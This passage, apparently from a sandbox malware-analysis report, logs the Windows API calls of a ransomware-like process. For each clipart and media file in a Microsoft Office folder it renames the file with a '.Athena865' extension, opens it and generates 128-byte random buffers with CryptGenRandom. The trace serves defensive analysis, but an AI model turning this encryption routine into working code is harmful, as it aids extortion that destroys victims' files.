(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.athena865"), dwFlags=0x1) returned 1 [0131.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13596) returned 1 [0131.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.345] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.345] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.348] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.349] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.352] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0400001.PNG" | out: lpString1="J0400001.PNG") returned="J0400001.PNG" [0131.352] lstrlenW (lpString="J0400001.PNG") returned 12 [0131.352] lstrlenW (lpString="Athena865") returned 9 [0131.352] lstrcmpiW (lpString1="00001.PNG", lpString2="Athena865") returned -1 [0131.352] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.Athena865") returned 73 [0131.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.athena865"), dwFlags=0x1) returned 1 [0131.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.354] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=202883) returned 1 [0131.354] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.355] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.355] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.364] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.365] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.365] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.368] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0400002.PNG" | out: lpString1="J0400002.PNG") returned="J0400002.PNG" [0131.368] lstrlenW (lpString="J0400002.PNG") returned 12 [0131.368] lstrlenW (lpString="Athena865") returned 9 [0131.368] lstrcmpiW (lpString1="00002.PNG", lpString2="Athena865") returned -1 [0131.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.Athena865") returned 73 [0131.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.athena865"), dwFlags=0x1) returned 1 [0131.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=89417) returned 1 [0131.370] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.371] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.371] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.376] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.376] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.378] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0400003.PNG" | out: lpString1="J0400003.PNG") returned="J0400003.PNG" [0131.378] lstrlenW (lpString="J0400003.PNG") returned 12 [0131.378] lstrlenW (lpString="Athena865") returned 9 [0131.378] lstrcmpiW (lpString1="00003.PNG", lpString2="Athena865") returned -1 [0131.378] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.Athena865") returned 73 [0131.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.athena865"), dwFlags=0x1) returned 1 [0131.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.380] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=124982) returned 1 [0131.380] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.380] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.380] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.386] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.387] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.387] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.389] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0400004.PNG" | out: lpString1="J0400004.PNG") returned="J0400004.PNG" [0131.389] lstrlenW (lpString="J0400004.PNG") returned 12 [0131.389] lstrlenW (lpString="Athena865") returned 9 [0131.389] lstrcmpiW (lpString1="00004.PNG", lpString2="Athena865") returned -1 [0131.389] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.Athena865") returned 73 [0131.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.athena865"), dwFlags=0x1) returned 1 [0131.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.391] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=105053) returned 1 [0131.391] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.391] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.392] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.400] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.401] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.401] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.402] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0400005.PNG" | out: lpString1="J0400005.PNG") returned="J0400005.PNG" [0131.402] lstrlenW (lpString="J0400005.PNG") returned 12 [0131.402] lstrlenW (lpString="Athena865") returned 9 [0131.402] lstrcmpiW (lpString1="00005.PNG", lpString2="Athena865") returned -1 [0131.402] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.Athena865") returned 73 [0131.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.athena865"), dwFlags=0x1) returned 1 [0131.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.404] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96066) returned 1 [0131.404] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.405] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.405] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.410] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.411] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.411] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="JAVA_01.MID" | out: lpString1="JAVA_01.MID") returned="JAVA_01.MID" [0131.413] lstrlenW (lpString="JAVA_01.MID") returned 11 [0131.413] lstrlenW (lpString="Athena865") returned 9 [0131.413] lstrcmpiW (lpString1="VA_01.MID", lpString2="Athena865") returned 1 [0131.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.Athena865") returned 72 [0131.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.athena865"), dwFlags=0x1) returned 1 [0131.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.414] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9797) returned 1 [0131.415] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.415] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.415] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.418] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.418] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.418] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.419] lstrcpyW (in: lpString1=0x241e8ae, lpString2="JNGLE_01.MID" | out: lpString1="JNGLE_01.MID") returned="JNGLE_01.MID" [0131.419] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0131.419] lstrlenW (lpString="Athena865") returned 9 [0131.419] lstrcmpiW (lpString1="LE_01.MID", lpString2="Athena865") returned 1 [0131.419] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.Athena865") returned 73 [0131.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.athena865"), dwFlags=0x1) returned 1 [0131.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.420] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5843) returned 1 [0131.421] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.421] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.421] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.423] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.424] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.425] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MP00021_.WMF" | out: lpString1="MP00021_.WMF") returned="MP00021_.WMF" [0131.425] lstrlenW (lpString="MP00021_.WMF") returned 12 [0131.425] lstrlenW (lpString="Athena865") returned 9 [0131.425] lstrcmpiW (lpString1="0021_.WMF", lpString2="Athena865") returned -1 [0131.425] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.Athena865") returned 73 [0131.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5622) returned 1 [0131.427] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.428] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.428] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.431] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.431] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.431] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.432] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MP00132_.WMF" | out: lpString1="MP00132_.WMF") returned="MP00132_.WMF" [0131.432] lstrlenW (lpString="MP00132_.WMF") returned 12 [0131.432] lstrlenW (lpString="Athena865") returned 9 [0131.432] lstrcmpiW (lpString1="0132_.WMF", lpString2="Athena865") returned -1 [0131.432] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.Athena865") returned 73 [0131.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.433] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4240) returned 1 [0131.434] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.434] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.434] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.438] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.439] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.439] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.439] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MP00646_.WMF" | out: lpString1="MP00646_.WMF") returned="MP00646_.WMF" [0131.439] lstrlenW (lpString="MP00646_.WMF") returned 12 [0131.439] lstrlenW (lpString="Athena865") returned 9 [0131.440] lstrcmpiW (lpString1="0646_.WMF", lpString2="Athena865") returned -1 [0131.440] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.Athena865") returned 73 [0131.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.441] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12770) returned 1 [0131.441] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.442] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.442] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.453] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.453] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.453] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.454] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MUSIC_01.MID" | out: lpString1="MUSIC_01.MID") returned="MUSIC_01.MID" [0131.454] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0131.454] lstrlenW (lpString="Athena865") returned 9 [0131.454] lstrcmpiW (lpString1="IC_01.MID", lpString2="Athena865") returned 1 [0131.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.Athena865") returned 73 [0131.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.athena865"), dwFlags=0x1) returned 1 [0131.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.456] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6880) returned 1 [0131.456] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0131.456] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0131.456] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.462] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0131.463] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0131.463] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0131.464] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA00042_.WMF" | out: lpString1="NA00042_.WMF") returned="NA00042_.WMF" [0131.464] lstrlenW (lpString="NA00042_.WMF") returned 12 [0131.464] lstrlenW (lpString="Athena865") returned 9 [0131.464] lstrcmpiW (lpString1="0042_.WMF", lpString2="Athena865") returned -1 [0131.464] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.Athena865") returned 73 [0131.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.athena865"), dwFlags=0x1) returned 1 [0131.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0131.465] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20548) returned 1 [0131.465] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 